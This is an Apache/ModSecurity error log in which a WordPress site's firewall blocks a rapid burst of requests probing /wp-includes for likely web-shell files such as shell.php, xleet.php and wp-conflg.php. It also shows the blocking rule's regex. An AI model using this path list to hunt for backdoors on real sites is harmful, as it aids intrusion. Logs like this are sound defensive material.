[Sun Mar 15 04:35:48.882935 2026] [:error] [pid 38540:tid 38593] [client 98.159.43.117:28795] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "abXGpF8bnHsJ1dE90bLYnwAAAEc"]
[Sun Mar 15 04:35:49.110090 2026] [:error] [pid 38541:tid 38614] [client 98.159.43.149:52019] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "abXGpXuOpex8jIO0jt6_4QAAAIE"]
[Sun Mar 15 04:35:49.510141 2026] [:error] [pid 38536:tid 38571] [client 98.159.43.106:49039] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "abXGpfpTEqkVJ0rBEWtqFwAAABI"]
[Sun Mar 15 04:35:49.743906 2026] [:error] [pid 38541:tid 38623] [client 98.159.43.129:51811] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "abXGpXuOpex8jIO0jt6_5wAAAIo"]
[Sun Mar 15 04:35:49.945787 2026] [:error] [pid 38541:tid 38619] [client 98.159.43.153:36519] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "abXGpXuOpex8jIO0jt6_6gAAAIY"]
[Sun Mar 15 04:35:50.587299 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.108:53711] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "abXGpga8xkcaSmgTbwi5EAAAAQ8"]
[Sun Mar 15 04:35:50.877556 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.118:22417] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "abXGpga8xkcaSmgTbwi5EwAAARQ"]
[Sun Mar 15 04:35:51.715021 2026] [:error] [pid 38536:tid 38569] [client 98.159.43.149:32459] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "abXGp_pTEqkVJ0rBEWtqHwAAABA"]
[Sun Mar 15 04:35:52.581255 2026] [:error] [pid 38536:tid 38568] [client 98.159.43.161:34217] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "abXGqPpTEqkVJ0rBEWtqJgAAAA8"]
[Sun Mar 15 04:35:52.762639 2026] [:error] [pid 38645:tid 38651] [client 98.159.43.151:34969] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "abXGqBFPHtsDUuVrWDZKvwAAAMQ"]
[Sun Mar 15 04:35:53.022135 2026] [:error] [pid 38645:tid 38668] [client 98.159.43.146:29967] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "abXGqRFPHtsDUuVrWDZKwgAAANU"]
[Sun Mar 15 04:35:53.200341 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.122:58543] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "abXGqXuOpex8jIO0jt7ABgAAAIQ"]
[Sun Mar 15 04:35:53.595123 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.156:51503] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "abXGqQa8xkcaSmgTbwi5MAAAAQw"]
[Sun Mar 15 04:35:53.814491 2026] [:error] [pid 9995:tid 10002] [client 98.159.43.160:61775] File does not exist: /usr/local/apache/htdocs/suspended-page/firewall.php
[Sun Mar 15 04:35:54.399815 2026] [:error] [pid 9995:tid 10003] [client 98.159.43.160:61775] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Sun Mar 15 04:35:54.834067 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.160:61775] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "abXGqga8xkcaSmgTbwi5UQAAARQ"]
[Sun Mar 15 04:35:55.107063 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.163:55371] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Sun Mar 15 04:35:55.196109 2026] [:error] [pid 9995:tid 10013] [client 98.159.43.163:55371] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "abXGqwa8xkcaSmgTbwi5XAAAAQ8"]
[Sun Mar 15 04:35:55.716254 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.110:61177] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "abXGqxFPHtsDUuVrWDZK2AAAAM0"]
[Sun Mar 15 04:35:56.099352 2026] [:error] [pid 38541:tid 38637] [client 98.159.43.123:59385] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "abXGrHuOpex8jIO0jt7AFAAAAJg"]
[Sun Mar 15 04:35:56.506807 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.107:36271] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Sun Mar 15 04:35:56.738300 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.107:36271] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "abXGrAa8xkcaSmgTbwi5cgAAAQg"]
[Sun Mar 15 04:35:57.243600 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.106:58585] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "abXGrQa8xkcaSmgTbwi5egAAAQg"]
[Sun Mar 15 04:35:57.971134 2026] [:error] [pid 9995:tid 10014] [client 98.159.43.133:28351] File does not exist: /usr/local/apache/htdocs/suspended-page/xl.php
[Sun Mar 15 04:35:58.127807 2026] [:error] [pid 9995:tid 10017] [client 98.159.43.133:28351] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "abXGrga8xkcaSmgTbwi5kQAAARM"]
[Sun Mar 15 04:35:58.333719 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.149:30163] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "abXGrga8xkcaSmgTbwi5lgAAAQM"]
[Sun Mar 15 04:35:58.745421 2026] [:error] [pid 9995:tid 10011] [client 98.159.43.135:32881] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "abXGrga8xkcaSmgTbwi5mwAAAQ0"]
[Sun Mar 15 04:35:58.935929 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.123:53361] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "abXGrhFPHtsDUuVrWDZK7AAAAMA"]
[Sun Mar 15 04:36:00.329577 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.148:36193] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "abXGsBFPHtsDUuVrWDZK_AAAAMk"]
[Sun Mar 15 04:36:01.071487 2026] [:error] [pid 38540:tid 38605] [client 98.159.43.142:54611] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "abXGsV8bnHsJ1dE90bLYxQAAAFM"]
[Sun Mar 15 04:36:01.516018 2026] [:error] [pid 9995:tid 10015] [client 98.159.43.120:33181] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-smtp-bar.php"] [unique_id "abXGsQa8xkcaSmgTbwi5ugAAARE"]
[Sun Mar 15 04:36:01.876555 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.110:48911] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "abXGsQa8xkcaSmgTbwi5wQAAARU"]
[Sun Mar 15 04:36:02.084094 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.134:36051] File does not exist: /usr/local/apache/htdocs/suspended-page/media-new.php
[Sun Mar 15 04:36:02.181553 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.134:36051] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abXGshFPHtsDUuVrWDZLCQAAAME"]
[Sun Mar 15 04:36:02.666405 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.153:39987] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "abXGshFPHtsDUuVrWDZLFQAAANg"]
[Sun Mar 15 04:36:02.855445 2026] [:error] [pid 38645:tid 38651] [client 98.159.43.109:55619] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "abXGshFPHtsDUuVrWDZLGgAAAMQ"]
[Sun Mar 15 04:36:03.262384 2026] [:error] [pid 38645:tid 38667] [client 98.159.43.139:39549] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "abXGsxFPHtsDUuVrWDZLJwAAANQ"]
[Sun Mar 15 04:36:04.046251 2026] [:error] [pid 9995:tid 10015] [client 98.159.43.145:27951] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "abXGtAa8xkcaSmgTbwi50wAAARE"]
[Sun Mar 15 04:36:04.366982 2026] [:error] [pid 38536:tid 38553] [client 98.159.43.109:45545] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "abXGtPpTEqkVJ0rBEWtqPQAAAAA"]
[Sun Mar 15 04:36:05.877826 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.150:58619] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "abXGtQa8xkcaSmgTbwi54AAAARY"]
[Sun Mar 15 04:36:06.144252 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.136:27157] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/shell.php"] [unique_id "abXGtga8xkcaSmgTbwi55AAAAQE"]
[Sun Mar 15 04:36:06.348193 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.112:45765] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "abXGtga8xkcaSmgTbwi56gAAAQs"]
[Sun Mar 15 04:36:06.681922 2026] [:error] [pid 9995:tid 10014] [client 98.159.43.139:39981] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/db.php"] [unique_id "abXGtga8xkcaSmgTbwi59gAAARA"]
[Sun Mar 15 04:36:07.907202 2026] [:error] [pid 38540:tid 38591] [client 98.159.43.107:27721] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "abXGt18bnHsJ1dE90bLY2QAAAEU"]
[Sun Mar 15 04:36:08.169569 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.122:52977] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "abXGuBFPHtsDUuVrWDZLVgAAANE"]
[Sun Mar 15 04:36:08.352136 2026] [:error] [pid 38645:tid 38655] [client 98.159.43.129:24755] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-users.php
[Sun Mar 15 04:36:08.537607 2026] [:error] [pid 38645:tid 38662] [client 98.159.43.129:24755] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "abXGuBFPHtsDUuVrWDZLWgAAAM8"]
[Sun Mar 15 04:36:08.789068 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.113:58317] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "abXGuAa8xkcaSmgTbwi6CgAAARQ"]
[Sun Mar 15 04:36:09.087771 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.162:24799] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "abXGuQa8xkcaSmgTbwi6DAAAAQw"]
[Sun Mar 15 04:36:09.779126 2026] [:error] [pid 38536:tid 38555] [client 98.159.43.152:23865] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/template-wploader.php"] [unique_id "abXGufpTEqkVJ0rBEWtqWwAAAAI"]
[Sun Mar 15 04:36:10.120132 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.115:63977] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "abXGuhFPHtsDUuVrWDZLZwAAAMA"]
[Sun Mar 15 04:36:11.952672 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.161:34829] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "abXGuwa8xkcaSmgTbwi6LgAAAQE"]
[Sun Mar 15 04:36:12.549991 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.110:56197] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "abXGvBFPHtsDUuVrWDZLdAAAAMA"]
[Sun Mar 15 04:36:12.767524 2026] [:error] [pid 38541:tid 38628] [client 98.159.43.129:38489] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "abXGvHuOpex8jIO0jt7AYAAAAI8"]
[Sun Mar 15 04:36:13.171970 2026] [:error] [pid 38645:tid 38666] [client 98.159.43.156:65043] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "abXGvRFPHtsDUuVrWDZLfAAAANM"]
[Sun Mar 15 04:36:13.600125 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.105:63505] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "abXGvQa8xkcaSmgTbwi6OgAAARU"]
